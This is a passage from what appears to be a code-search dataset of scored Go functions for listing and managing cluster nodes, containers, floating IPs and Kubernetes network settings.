{\n\treq, err := http.NewRequest(\"GET\", hetznerAPIBaseURL+\"/floating_ips\", nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error creating request: %w\", err)\n\t}\n\tq := req.URL.Query()\n\tq.Add(\"label_selector\", \"cluster==\"+name)\n\treq.URL.RawQuery = q.Encode()\n\treq.Header.Add(\"Authorization\", \"Bearer \"+c.hCloudToken)\n\tresp, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\tvar neterr net.Error\n\t\tif errors.As(err, &neterr) && (neterr.Timeout() || neterr.Temporary()) {\n\t\t\treturn nil, &errorx.RetryableError{Message: \"timeout or temporary error in HTTP request\", Err: neterr}\n\t\t}\n\t\treturn nil, fmt.Errorf(\"error in http request: %w\", err)\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != 200 {\n\t\treturn nil, fmt.Errorf(\"unexpected status code %d != 200\", resp.StatusCode)\n\t}\n\tvar rawFloatingIPs struct {\n\t\tFloatingIPs []struct {\n\t\t\tType string `json:\"type\"`\n\t\t\tIP string `json:\"ip\"`\n\t\t} `json:\"floating_ips\"`\n\t}\n\tdecoder := json.NewDecoder(resp.Body)\n\terr = decoder.Decode(&rawFloatingIPs)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error unmarshalling JSON: %w\", err)\n\t}\n\tvar floatingIPs []*FloatingIP\n\tfor _, rawIP := range rawFloatingIPs.FloatingIPs {\n\t\tip := &FloatingIP{IP: rawIP.IP}\n\t\tswitch rawIP.Type {\n\t\tcase \"ipv4\":\n\t\t\tip.Type = FloatingIPv4\n\t\tcase \"ipv6\":\n\t\t\tip.Type = FloatingIPv6\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"unexpected IP type '%s'\", rawIP.Type)\n\t\t}\n\t\tfloatingIPs = append(floatingIPs, ip)\n\t}\n\treturn floatingIPs, nil\n}", "title": "" }, { "docid": "3bc8941ed077e760f1fafeaa37348f15", "score": "0.50442743", "text": "func ListAllClusters(response *JsonListClustersMap) *JsonListClustersMap {\n\tvar SIDCluster int\n\tvar SName string\n\tvar SAWSAccount int64\n\tvar SAWSRegion string\n\tvar SAWSEnvironment string\n\tvar SK8sVersion string\n\n\tvar SNodeType string\n\tvar SNodeInstance string\n\tvar STotalInstances int\n\n\tvar totalInstances int\n\n\tdescription := make(DescriptionMap)\n\n\tdb, err := sql.Open(\"mysql\", UserDB+\":\"+PassDB+\"@tcp(\"+HostDB+\":\"+PortDB+\")/\"+DatabaseDB+\"?charset=utf8\")\n\tcheckErr(err)\n\n\tdefer db.Close()\n\n\trows, err := db.Query(\"SELECT id_cluster, nome, aws_account, aws_region, aws_env, k8s_version FROM clusters ORDER BY nome\")\n\tcheckErr(err)\n\n\tfor rows.Next() {\n\t\terr = rows.Scan(&SIDCluster, &SName, &SAWSAccount, &SAWSRegion, &SAWSEnvironment, &SK8sVersion)\n\t\tcheckErr(err)\n\n\t\tdescription = DescriptionMap{}\n\t\ttotalInstances = 0\n\n\t\trows1, err := db.Query(\"SELECT node_type, node_instance, total_instances FROM nodes WHERE id_cluster=?\", SIDCluster)\n\t\tcheckErr(err)\n\n\t\tfor rows1.Next() {\n\t\t\terr = rows1.Scan(&SNodeType, &SNodeInstance, &STotalInstances)\n\t\t\tcheckErr(err)\n\n\t\t\tdescription[SNodeType] = append(\n\t\t\t\tdescription[SNodeType],\n\t\t\t\tDescriptionStruct{\n\t\t\t\t\tDescription{\n\t\t\t\t\t\tType: SNodeInstance,\n\t\t\t\t\t\tTotalTypeInstances: STotalInstances,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t)\n\n\t\t\ttotalInstances = totalInstances + STotalInstances\n\t\t}\n\n\t\t*response = append(\n\t\t\t*response,\n\t\t\tjsonListClusters{\n\t\t\t\tClusterName: SName,\n\t\t\t\tAws: AWS{\n\t\t\t\t\tAccount: SAWSAccount,\n\t\t\t\t\tRegion: SAWSRegion,\n\t\t\t\t\tEnvironment: SAWSEnvironment,\n\t\t\t\t},\n\t\t\t\tK8SVersion: SK8sVersion,\n\t\t\t\tInstances: Instances{\n\t\t\t\t\tTotalInstances: totalInstances,\n\t\t\t\t\tDescription: description,\n\t\t\t\t},\n\t\t\t},\n\t\t)\n\t}\n\n\treturn response\n}", "title": "" }, { "docid": "af312dfae2b4a582313fa8c0c4c0be2b", "score": "0.5044123", "text": "func (c ClusterNodes) checkStatusOfClusterNodes() {\n\n}", "title": "" }, { "docid": "88e1f8e93d30cf136d577ebab2ccb8ba", "score": "0.5042482", "text": "func (instance *NDiscovery) getNodeList(message *lygo_n_commons.Command) interface{} {\n\tresponse := make(map[string]interface{})\n\tif nil != instance.storage {\n\t\tnetworkId := message.GetParamAsString(\"network_id\")\n\t\tresponse[\"publishers\"] = instance.storage.QueryPublishersAll()\n\t\tresponse[\"nodes\"] = instance.storage.QueryNodes(networkId)\n\t}\n\treturn response\n}", "title": "" }, { "docid": "100dae27f0a97807640e4beceb05a2e8", "score": "0.5034969", "text": "func GetClusterCIDRs(lister configlistersv1.NetworkLister, recorder events.Recorder) ([]string, error) {\n\tnetwork, err := lister.Get(\"cluster\")\n\tif errors.IsNotFound(err) {\n\t\trecorder.Warningf(\"ObserveRestrictedCIDRFailed\", \"Required networks.%s/cluster not found\", configv1.GroupName)\n\t\treturn nil, nil\n\t}\n\tif err != nil {\n\t\trecorder.Warningf(\"ObserveRestrictedCIDRFailed\", \"error getting networks.%s/cluster: %v\", configv1.GroupName, err)\n\t\treturn nil, err\n\t}\n\n\tif len(network.Status.ClusterNetwork) == 0 {\n\t\trecorder.Warningf(\"ObserveClusterCIDRFailed\", \"Required status.clusterNetwork field is not set in networks.%s/cluster\", configv1.GroupName)\n\t\treturn nil, fmt.Errorf(\"networks.%s/cluster: status.clusterNetwork not found\", configv1.GroupName)\n\t}\n\n\tvar clusterCIDRs []string\n\tfor i, clusterNetwork := range network.Status.ClusterNetwork {\n\t\tif len(clusterNetwork.CIDR) == 0 {\n\t\t\trecorder.Warningf(\"ObserveRestrictedCIDRFailed\", \"Required status.clusterNetwork[%d].cidr field is not set in networks.%s/cluster\", i, configv1.GroupName)\n\t\t\treturn nil, fmt.Errorf(\"networks.%s/cluster: status.clusterNetwork[%d].cidr not found\", configv1.GroupName, i)\n\t\t}\n\t\tclusterCIDRs = append(clusterCIDRs, clusterNetwork.CIDR)\n\t}\n\t// TODO fallback to podCIDR? is that still a thing?\n\treturn clusterCIDRs, nil\n}", "title": "" }, { "docid": "5eaca6e76173c83ce8b9c0db1b3405a7", "score": "0.5028458", "text": "func GetContainerOldestInCluster(dbConn *sql.DB, clusterid string) (Container, error) {\n\t//logit.Info.Println(\"admindb:GetNodeOldestInCluster:called\")\n\tcontainer := Container{}\n\n\tqueryStr := fmt.Sprintf(\"select c.id, c.name, c.clusterid, c.serverid, c.role, c.image, to_char(c.createdt, 'MM-DD-YYYY HH24:MI:SS'), p.id, p.name, s.name from project p, server s, container c where c.projectid = p.id and c.serverid = s.id and c.createdt = (select max(createdt) from container where clusterid = %s)\", clusterid)\n\tlogit.Info.Println(\"admindb:GetNodeOldestInCluster:\" + queryStr)\n\terr := dbConn.QueryRow(queryStr).Scan(&container.ID, &container.Name, &container.ClusterID, &container.ServerID, &container.Role, &container.Image, &container.CreateDate, &container.ProjectID, &container.ProjectName, &container.ServerName)\n\tswitch {\n\tcase err == sql.ErrNoRows:\n\t\tlogit.Info.Println(\"admindb:GetContainerOldestInCluster: no container with that clusterid \" + clusterid)\n\t\treturn container, err\n\tcase err != nil:\n\t\treturn container, err\n\t}\n\n\tif container.ClusterID != \"-1\" {\n\t\tvar clustername string\n\t\tclustername, err = GetClusterName(dbConn, container.ClusterID)\n\t\tif err != nil {\n\t\t\tlogit.Info.Println(\"admindb:GetContainerOldest:error \" + err.Error())\n\t\t\treturn container, err\n\t\t}\n\t\tcontainer.ClusterName = clustername\n\t}\n\n\treturn container, nil\n}", "title": "" }, { "docid": "c2f927c68c909b00beed57ce91e37dfb", "score": "0.5006872", "text": "func computeNodesWithoutENIInfo(nodes []*corev1.Node, eniInfoByNodeKey map[types.NamespacedName]ENIInfo) []*corev1.Node {\n\tunresolvedNodes := make([]*corev1.Node, 0, len(nodes)-len(eniInfoByNodeKey))\n\tfor _, node := range nodes {\n\t\tnodeKey := k8s.NamespacedName(node)\n\t\tif _, ok := eniInfoByNodeKey[nodeKey]; !ok {\n\t\t\tunresolvedNodes = append(unresolvedNodes, node)\n\t\t}\n\t}\n\treturn unresolvedNodes\n}", "title": "" }, { "docid": "094be74fb5eb142e3997696a3e1ef959", "score": "0.49998647", "text": "func (h *Handler) ListNodes(ctx context.Context, clusterID *grpc_infrastructure_go.ClusterId) (*grpc_infrastructure_go.NodeList, error) {\n\tlog.Debug().Str(\"organizationID\", clusterID.OrganizationId).Str(\"clusterID\", clusterID.ClusterId).Msg(\"list nodes\")\n\terr := entities.ValidClusterID(clusterID)\n\tif err != nil {\n\t\tlog.Error().Str(\"trace\", err.DebugReport()).Msg(\"invalid cluster identifier\")\n\t\treturn nil, conversions.ToGRPCError(err)\n\t}\n\tnodes, err := h.Manager.ListNodes(clusterID)\n\tif err != nil {\n\t\tlog.Error().Str(\"trace\", err.DebugReport()).Msg(\"cannot list nodes\")\n\t\treturn nil, conversions.ToGRPCError(err)\n\t}\n\ttoReturn := make([]*grpc_infrastructure_go.Node, 0)\n\tfor _, n := range nodes {\n\t\ttoReturn = append(toReturn, n.ToGRPC())\n\t}\n\tresult := &grpc_infrastructure_go.NodeList{\n\t\tNodes: toReturn,\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "0841f5f5c60f8c29406c4de0c7dfa038", "score": "0.49941084", "text": "func (m *manager) List() ([]string, error) {\n\tvar igs []*compute.InstanceGroup\n\n\tzones, err := m.ListZones(utils.AllNodesPredicate)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, zone := range zones {\n\t\tigsForZone, err := m.cloud.ListInstanceGroups(zone)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, ig := range igsForZone {\n\t\t\tigs = append(igs, ig)\n\t\t}\n\t}\n\n\tvar names []string\n\tfor _, ig := range igs {\n\t\tif m.namer.NameBelongsToCluster(ig.Name) {\n\t\t\tnames = append(names, ig.Name)\n\t\t}\n\t}\n\n\treturn names, nil\n}", "title": "" }, { "docid": "4f3c139779b00dae720917522dd82ee3", "score": "0.49871957", "text": "func (c *Container) GetClusterAlerts(ctx echo.Context) error {\n\n alertsResponse := models.AlertsResponse {\n Data: []models.AlertsInfo{},\n }\n\n if helpers.Warnings != \"\" {\n warnings := strings.Split(helpers.Warnings, \"|\")\n\n for _, warning := range warnings {\n alertsResponse.Data = append(alertsResponse.Data, models.AlertsInfo{\n Name: warning,\n Info: WARNING_MSGS[warning],\n })\n }\n }\n\n return ctx.JSON(http.StatusOK, alertsResponse)\n}", "title": "" }, { "docid": "b9f19209cc78d6db5984179aefb83544", "score": "0.49672624", "text": "func GetClusterUpgrades(ctx context.Context, clusterClient containerservice.ManagedClustersClient, resourceName string) ([]string, error) {\n\tresourceGroupName := resourceName + \"-group\"\n\n\tresult, err := clusterClient.GetUpgradeProfile(ctx, resourceGroupName, resourceName)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error getting available upgrades: %v\", err)\n\t}\n\n\tfor _, v := range *result.AgentPoolProfiles {\n\t\tif v.Upgrades != nil {\n\t\t\treturn *v.Upgrades, nil\n\t\t}\n\t}\n\n\treturn nil, nil\n}", "title": "" }, { "docid": "e2f01db45e13a5b3b0bf0f02da7a3f73", "score": "0.496055", "text": "func (group *NodeGroup) Nodes() ([]cloudprovider.Instance, error) {\n\tresult := make([]cloudprovider.Instance, 0)\n\tinstances, err := group.client.GetNodes(group.nodeGroupID)\n\tif err != nil {\n\t\tklog.Error(err)\n\t\treturn []cloudprovider.Instance{}, err\n\t}\n\tcache := map[string]string{}\n\tfor _, instance := range instances {\n\t\tif instance.Status == \"DELETING\" {\n\t\t\tcontinue\n\t\t}\n\t\tif instance.NodeGroupID != group.nodeGroupID {\n\t\t\tcontinue\n\t\t}\n\n\t\ti := cloudprovider.Instance{\n\t\t\tId: fmt.Sprintf(\"qcloud:///%v/%s\", instance.Zone, instance.NodeID),\n\t\t\tStatus: &cloudprovider.InstanceStatus{},\n\t\t}\n\t\tcache[instance.NodeID] = instance.InnerIP\n\t\tswitch instance.Status {\n\t\tcase \"creating\":\n\t\t\ti.Status.State = cloudprovider.InstanceCreating\n\t\tcase \"running\":\n\t\t\t// check more node status\n\t\t\ti.Status.State = cloudprovider.InstanceRunning\n\t\tdefault:\n\t\t\ti.Status.State = cloudprovider.InstanceDeleting\n\t\t}\n\t\tresult = append(result, i)\n\t}\n\tgroup.nodeCache = cache\n\treturn result, nil\n}", "title": "" }, { "docid": "b97ddad4c69435b0567f0a1b7cd6ed48", "score": "0.4959576", "text": "func getContainers(dockerClient *client.Client) ([]types.Container, error) {\n\n\tcontainers, err := dockerClient.ContainerList(context.Background(), types.ContainerListOptions{})\n\tif err != nil {\n\t\tlog.Printf(\"Unable to list containers: %v\", err)\n\t\treturn nil, err\n\t}\n\n\treturn containers, nil\n}", "title": "" }, { "docid": "e803d738fff5b0f76cf86ec36a55fa05", "score": "0.49574015", "text": "func (f *Fetcher) Nodes(ctx context.Context, tag string) ([]*ClusterNode, error) {\n\tips, err := f.cluster.IPs(ctx, tag)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar ret []*ClusterNode\n\tfor _, ip := range ips {\n\t\tnodeInfo, err := f.rpc.NodeInfo(ctx, ip)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tnode := NewClusterNode(ip, nodeInfo)\n\t\tret = append(ret, node)\n\t}\n\n\treturn ret, nil\n}", "title": "" }, { "docid": "0620c670e37a286fdd1f0e49df9c6bce", "score": "0.49501345", "text": "func (k *k8sUtil) inClusterCS() (*kubernetes.Clientset, error) {\n\n\t// creates the in-cluster config\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// creates the in-cluster clientset\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn clientset, nil\n}", "title": "" }, { "docid": "e3625cfa9b8202efd362a1b7b15348f9", "score": "0.4949744", "text": "func getNodes(clusterType ...string) ([]string, error) {\n hostNames := []string{}\n tabletServersFuture := make(chan helpers.TabletServersFuture)\n go helpers.GetTabletServersFuture(helpers.HOST, tabletServersFuture)\n tabletServersResponse := <-tabletServersFuture\n if tabletServersResponse.Error != nil {\n return hostNames, tabletServersResponse.Error\n }\n\n if len(clusterType) == 0 {\n // to get hostnames, get all second level keys and only keep if\n // net.SpliHostPort succeeds.\n for _, obj := range tabletServersResponse.Tablets {\n for hostport := range obj {\n host, _, err := net.SplitHostPort(hostport)\n if err == nil {\n hostNames = append(hostNames, host)\n }\n }\n }\n } else {\n clusterConfigFuture := make(chan helpers.ClusterConfigFuture)\n go helpers.GetClusterConfigFuture(helpers.HOST, clusterConfigFuture)\n clusterConfigResponse := <-clusterConfigFuture\n if clusterConfigResponse.Error != nil {\n return hostNames, clusterConfigResponse.Error\n }\n replicationInfo := clusterConfigResponse.ClusterConfig.ReplicationInfo\n if clusterType[0] == \"READ_REPLICA\" {\n readReplicas := replicationInfo.ReadReplicas\n if len(readReplicas) == 0 {\n return hostNames, errors.New(\"no Read Replica nodes present\")\n }\n readReplicaUuid := readReplicas[0].PlacementUuid\n for hostport := range tabletServersResponse.Tablets[readReplicaUuid] {\n host, _, err := net.SplitHostPort(hostport)\n if err == nil {\n hostNames = append(hostNames, host)\n }\n }\n } else if clusterType[0] == \"PRIMARY\" {\n primaryUuid := replicationInfo.LiveReplicas.PlacementUuid\n for hostport := range tabletServersResponse.Tablets[primaryUuid] {\n host, _, err := net.SplitHostPort(hostport)\n if err == nil {\n hostNames = append(hostNames, host)\n }\n }\n }\n }\n return hostNames, nil\n}", "title": "" }, { "docid": "cdbf306f913b2434e21e68fb991ebaab", "score": "0.4946586", "text": "func GetWorkloadContainers(dockerEndpoint string) ([]dockerclient.APIContainers, error) {\n\tif client, err := dockerclient.NewClient(dockerEndpoint); err != nil {\n\t\treturn nil, errors.New(fmt.Sprintf(\"unable to create docker client from %v, error %v\", dockerEndpoint, err))\n\t} else {\n\t\topts := dockerclient.ListContainersOptions{\n\t\t\tAll: true,\n\t\t}\n\n\t\tif containers, err := client.ListContainers(opts); err != nil {\n\t\t\treturn nil, errors.New(fmt.Sprintf(\"unable to list docker containers from %v, error %v\", dockerEndpoint, err))\n\t\t} else {\n\t\t\tret := make([]dockerclient.APIContainers, 0, 10)\n\n\t\t\tfor _, c := range containers {\n\t\t\t\tif _, exists := c.Labels[\"network.bluehorizon.colonus.service_name\"]; exists {\n\t\t\t\t\tif _, exists := c.Labels[\"network.bluehorizon.colonus.infrastructure\"]; !exists {\n\t\t\t\t\t\tret = append(ret, c)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn ret, nil\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5816020d9c9acaf3ca92fa8f9622ee17", "score": "0.4937401", "text": "func GetExcludeLists(nbmaster string, httpClient *http.Client, jwt string, hostUuid string) {\r\n fmt.Printf(\"\\nGet exclude list for host %s...\\n\", hostUuid)\r\n\r\n uri := \"https://\" + nbmaster + \":\" + port + \"/netbackup/config/hosts/\" + hostUuid + \"/configurations/exclude\"\r\n\r\n request, _ := http.NewRequest(http.MethodGet, uri, nil)\r\n request.Header.Add(\"Authorization\", jwt);\r\n request.Header.Add(\"Content-Type\", contentTypeV3);\r\n\r\n response, err := httpClient.Do(request)\r\n\r\n if err != nil {\r\n fmt.Printf(\"The HTTP request failed with error: %s\\n\", err)\r\n panic(\"Unable to get exclude list\")\r\n } else {\r\n if response.StatusCode == 200 {\r\n resp, _ := ioutil.ReadAll(response.Body)\r\n var obj interface{}\r\n json.Unmarshal(resp, &obj)\r\n data := obj.(map[string]interface{})\r\n var excludeLists []interface{} = ((((data[\"data\"].(map[string]interface{}))[\"attributes\"]).(map[string]interface{}))[\"value\"]).([]interface{})\r\n for _, list := range excludeLists {\r\n fmt.Printf(\"%s\\n\", list)\r\n }\r\n } else {\r\n printErrorResponse(response)\r\n }\r\n }\r\n}", "title": "" }, { "docid": "a58a222d62c8735d97a2569cc6381ade", "score": "0.49321556", "text": "func (ts *Tester) DumpClusterLogs() error {\n\treturn ts.FetchLogsManagedNodeGroup()\n}", "title": "" }, { "docid": "4c6452d71b0b4671faf2b7c309d6b495", "score": "0.49315083", "text": "func (c *Clusters) GetClusterIPs() map[string]ClusterEndpoint {\n\n\tm := make(map[string]ClusterEndpoint)\n\n\tfor _, cluster := range c.Clusters {\n\t\tu := cluster.ClusterUrl\n\t\tif strings.HasPrefix(u, \"https://\") {\n\t\t\tu = strings.TrimPrefix(u, \"https://\")\n\t\t}\n\n\t\tif strings.HasSuffix(u, \":6443\") {\n\t\t\tu = strings.TrimSuffix(u, \":6443\")\n\t\t}\n\n\t\tif netutils.IsDNSName(u) {\n\t\t\tm[u] = ClusterEndpoint{u, false}\n\t\t} else {\n\t\t\tip := net.ParseIP(u)\n\t\t\tif ip != nil {\n\t\t\t\tm[u] = ClusterEndpoint{ip.String(), true}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn m\n}", "title": "" }, { "docid": "3756de75c5ab77201d8c42eb521a4eb6", "score": "0.49313384", "text": "func QueryNodes() QueryClusterParamsOption {\n\treturn func(cp *ClusterParams) string {\n\t\treturn fmt.Sprintf(\"Nodes = %d\", cp.Nodes)\n\t}\n}", "title": "" }, { "docid": "4a5a6566f03e6e50735d30d4dc110400", "score": "0.49285856", "text": "func TestScaleClusterNotLoggedIn(t *testing.T) {\n\t// This server should not get any request, because we avoid unauthenticated requests.\n\t// That's why it issues an error in case it does.\n\tmockServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tt.Log(\"TestScaleClusterNotLoggedIn mockServer request:\", r.Method, r.URL)\n\t\tt.Error(\"A request has been sent although we don't have a token.\")\n\t}))\n\tdefer mockServer.Close()\n\n\tconfigDir, _ := ioutil.TempDir(\"\", config.ProgramName)\n\tconfig.Initialize(configDir)\n\n\ttestArgs := scaleClusterArguments{\n\t\tapiEndpoint: mockServer.URL,\n\t\tclusterID: \"cluster-id\",\n\t}\n\n\terr := verifyScaleClusterPreconditions(testArgs, []string{testArgs.clusterID})\n\tif !IsNotLoggedInError(err) {\n\t\tt.Error(\"Expected notLoggedInError, got\", err)\n\t}\n\n}", "title": "" }, { "docid": "104d48ff8503df9b0488095eaf1e3445", "score": "0.49274102", "text": "func (s *ClusterServer) ListContainerCluster(ctx context.Context, request *containerpb.ListContainerClusterRequest) (*containerpb.ListContainerClusterResponse, error) {\n\tcl, err := createConfigCluster(ctx, request.ServiceAccountFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresources, err := cl.ListCluster(ctx, request.Project, request.Location)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar protos []*containerpb.ContainerCluster\n\tfor _, r := range resources.Items {\n\t\trp := ClusterToProto(r)\n\t\tprotos = append(protos, rp)\n\t}\n\treturn &containerpb.ListContainerClusterResponse{Items: protos}, nil\n}", "title": "" }, { "docid": "c4e365b8918895bf44f3bdabab9501fa", "score": "0.49251407", "text": "func TestClusterNodeWithoutData(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"skipping cluster test in short mode.\")\n\t}\n\tt.Parallel()\n\n\ttc := newTestCluster(t)\n\tdefer tc.tearDown()\n\n\ttc.addSequinses(3)\n\n\t// By default this is 10 minutes; we're reducing it to confirm that\n\t// nodes are not removing versions that their peers still have.\n\ttc.sequinses[0].config.Test.VersionRemoveTimeout = duration{5 * time.Second}\n\ttc.sequinses[1].config.Test.VersionRemoveTimeout = duration{5 * time.Second}\n\ttc.sequinses[2].config.Test.VersionRemoveTimeout = duration{5 * time.Second}\n\n\t// Because it's behind, it's expected that the first node will flap when it\n\t// proxies requests and gets v2 from peers.\n\t// tc.sequinses[0].expectProgression(down, noVersion, v1, v3)\n\ttc.sequinses[1].expectProgression(down, noVersion, v1, v2, v3)\n\ttc.sequinses[2].expectProgression(down, noVersion, v1, v2, v3)\n\n\ttc.makeVersionAvailable(v1)\n\ttc.setup()\n\ttc.startTest()\n\n\ttime.Sleep(expectTimeout)\n\ttc.sequinses[1].makeVersionAvailable(v2)\n\ttc.sequinses[2].makeVersionAvailable(v2)\n\ttc.hup()\n\n\ttime.Sleep(expectTimeout)\n\ttc.makeVersionAvailable(v3)\n\ttc.hup()\n\n\ttc.assertProgression()\n}", "title": "" }, { "docid": "1aa0c6e0a6f1e5a7444c1aae9ff8c3aa", "score": "0.49200332", "text": "func (w *worker) identifyAllNodes(ctx context.Context) ([]resources.Host, fail.Error) {\n\tif w.cluster == nil {\n\t\treturn []resources.Host{}, nil\n\t}\n\n\tif w.allNodes == nil {\n\t\tvar allHosts []resources.Host\n\t\tlist, xerr := w.cluster.UnsafeListNodeIDs(ctx)\n\t\txerr = debug.InjectPlannedFail(xerr)\n\t\tif xerr != nil {\n\t\t\treturn nil, xerr\n\t\t}\n\t\tfor _, i := range list {\n\t\t\thostInstance, xerr := LoadHost(w.cluster.GetService(), i)\n\t\t\txerr = debug.InjectPlannedFail(xerr)\n\t\t\tif xerr != nil {\n\t\t\t\treturn nil, xerr\n\t\t\t}\n\n\t\t\tallHosts = append(allHosts, hostInstance)\n\t\t}\n\t\tw.allNodes = allHosts\n\t}\n\treturn w.allNodes, nil\n}", "title": "" }, { "docid": "ca18758d87ad8ca9dbf4d891cb02b4d8", "score": "0.49185565", "text": "func (w *worker) identifyConcernedNodes(ctx context.Context) ([]resources.Host, fail.Error) {\n\tif w.cluster == nil {\n\t\treturn []resources.Host{}, nil\n\t}\n\n\tif w.concernedNodes == nil {\n\t\thosts, xerr := w.identifyAllNodes(ctx)\n\t\txerr = debug.InjectPlannedFail(xerr)\n\t\tif xerr != nil {\n\t\t\treturn nil, xerr\n\t\t}\n\n\t\tconcernedHosts, xerr := w.extractHostsFailingCheck(ctx, hosts)\n\t\txerr = debug.InjectPlannedFail(xerr)\n\t\tif xerr != nil {\n\t\t\treturn nil, xerr\n\t\t}\n\n\t\tw.concernedNodes = concernedHosts\n\t}\n\treturn w.concernedNodes, nil\n}", "title": "" }, { "docid": "df19ffdd0208825604070c396ea933c5", "score": "0.4916759", "text": "func RejectOldCluster(v bool) Configer {\n\treturn func(c *clientv3.Config) {\n\t\tc.RejectOldCluster = v\n\t}\n}", "title": "" }, { "docid": "e799df8b398b2945d1e3a66038bc8096", "score": "0.4913489", "text": "func (o *Ops) GetNodes() ([]cluster.Node, error) {\n\tpodsMaster := &corev1.PodList{}\n\tif err := o.cli.List(context.Background(), podsMaster,\n\t\tclient.InNamespace(o.dm.StsMaster.ObjectMeta.Namespace),\n\t\tclient.MatchingLabels(o.dm.StsMaster.ObjectMeta.Labels)); err != nil {\n\t\treturn []cluster.Node{}, err\n\t}\n\n\tpodsWorker := &corev1.PodList{}\n\tif err := o.cli.List(context.Background(), podsWorker,\n\t\tclient.InNamespace(o.dm.StsMaster.ObjectMeta.Namespace),\n\t\tclient.MatchingLabels(o.dm.StsWorker.ObjectMeta.Labels)); err != nil {\n\t\treturn []cluster.Node{}, err\n\t}\n\n\tnodes := make([]cluster.Node, 0, len(podsMaster.Items)+len(podsWorker.Items))\n\t// because dmMasters have a NodePort kind service, dmWorkers have a headless kind service,\n\t// and they all are managed by statefulset,\n\t// so we use their fqdn as node ip here.\n\tfor _, pod := range podsMaster.Items {\n\t\tfqdn, err := util.GetFQDNFromStsPod(&pod)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tnodes = append(nodes, cluster.Node{\n\t\t\tNamespace: pod.ObjectMeta.Namespace,\n\t\t\tPodName: pod.ObjectMeta.Name,\n\t\t\tIP: fqdn,\n\t\t\tComponent: cluster.DM,\n\t\t\tPort: util.FindPort(pod.ObjectMeta.Name, string(cluster.DM), pod.Spec.Containers),\n\t\t})\n\t}\n\tfor _, pod := range podsWorker.Items {\n\t\tnodes = append(nodes, cluster.Node{\n\t\t\tNamespace: pod.ObjectMeta.Namespace,\n\t\t\tPodName: pod.ObjectMeta.Name,\n\t\t\tIP: pod.Status.PodIP,\n\t\t\tComponent: cluster.DM,\n\t\t\tPort: util.FindPort(pod.ObjectMeta.Name, string(cluster.DM), pod.Spec.Containers),\n\t\t})\n\t}\n\n\treturn nodes, nil\n}", "title": "" }, { "docid": "f027cd02238bbbd696003d78db679c5e", "score": "0.49119988", "text": "func ContainerIdNotIn(vs ...uint) predicate.K8sEvent {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.K8sEvent(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.NotIn(s.C(FieldContainerId), v...))\n\t})\n}", "title": "" }, { "docid": "48b341d89c52fc5dc3463b0cd87c0d38", "score": "0.49103537", "text": "func (daemon *Daemon) DaemonLeavesCluster() {\n\t// Daemon is in charge of removing the attachable networks with\n\t// connected containers when the node leaves the swarm\n\tdaemon.clearAttachableNetworks()\n\t// We no longer need the cluster provider, stop it now so that\n\t// the network agent will stop listening to cluster events.\n\tdaemon.setClusterProvider(nil)\n\t// Wait for the networking cluster agent to stop\n\tdaemon.netController.AgentStopWait()\n\t// Daemon is in charge of removing the ingress network when the\n\t// node leaves the swarm. Wait for job to be done or timeout.\n\t// This is called also on graceful daemon shutdown. We need to\n\t// wait, because the ingress release has to happen before the\n\t// network controller is stopped.\n\n\tif done, err := daemon.ReleaseIngress(); err == nil {\n\t\ttimeout := time.NewTimer(5 * time.Second)\n\t\tdefer timeout.Stop()\n\n\t\tselect {\n\t\tcase <-done:\n\t\tcase <-timeout.C:\n\t\t\tlog.G(context.TODO()).Warn(\"timeout while waiting for ingress network removal\")\n\t\t}\n\t} else {\n\t\tlog.G(context.TODO()).Warnf(\"failed to initiate ingress network removal: %v\", err)\n\t}\n\n\tdaemon.attachmentStore.ClearAttachments()\n}", "title": "" }, { "docid": "7aa1bbc476508c56720cb9e65bcd0d85", "score": "0.49091265", "text": "func (c *Controller) dropUnsupported(clusters []*api.Cluster) []*api.Cluster {\n\tresult := make([]*api.Cluster, 0, len(clusters))\n\tfor _, cluster := range clusters {\n\t\tif !c.provisioner.Supports(cluster) {\n\t\t\tlog.Debugf(\"Unsupported cluster: %s\", cluster.ID)\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, cluster)\n\t}\n\treturn result\n}", "title": "" }, { "docid": "2f2494f9d0a0b313464f610151ed2cc1", "score": "0.49024054", "text": "func getEgressClusters(clusterConfigs []*trafficpolicy.EgressClusterConfig) []*xds_cluster.Cluster {\n\tif clusterConfigs == nil {\n\t\treturn nil\n\t}\n\n\tvar egressClusters []*xds_cluster.Cluster\n\tfor _, config := range clusterConfigs {\n\t\tswitch config.Host {\n\t\tcase \"\":\n\t\t\t// Cluster config does not have a Host specified, route it to its original destination.\n\t\t\t// Used for TCP based clusters\n\t\t\tif originalDestinationEgressCluster, err := getOriginalDestinationEgressCluster(config.Name); err != nil {\n\t\t\t\tlog.Error().Err(err).Str(errcode.Kind, 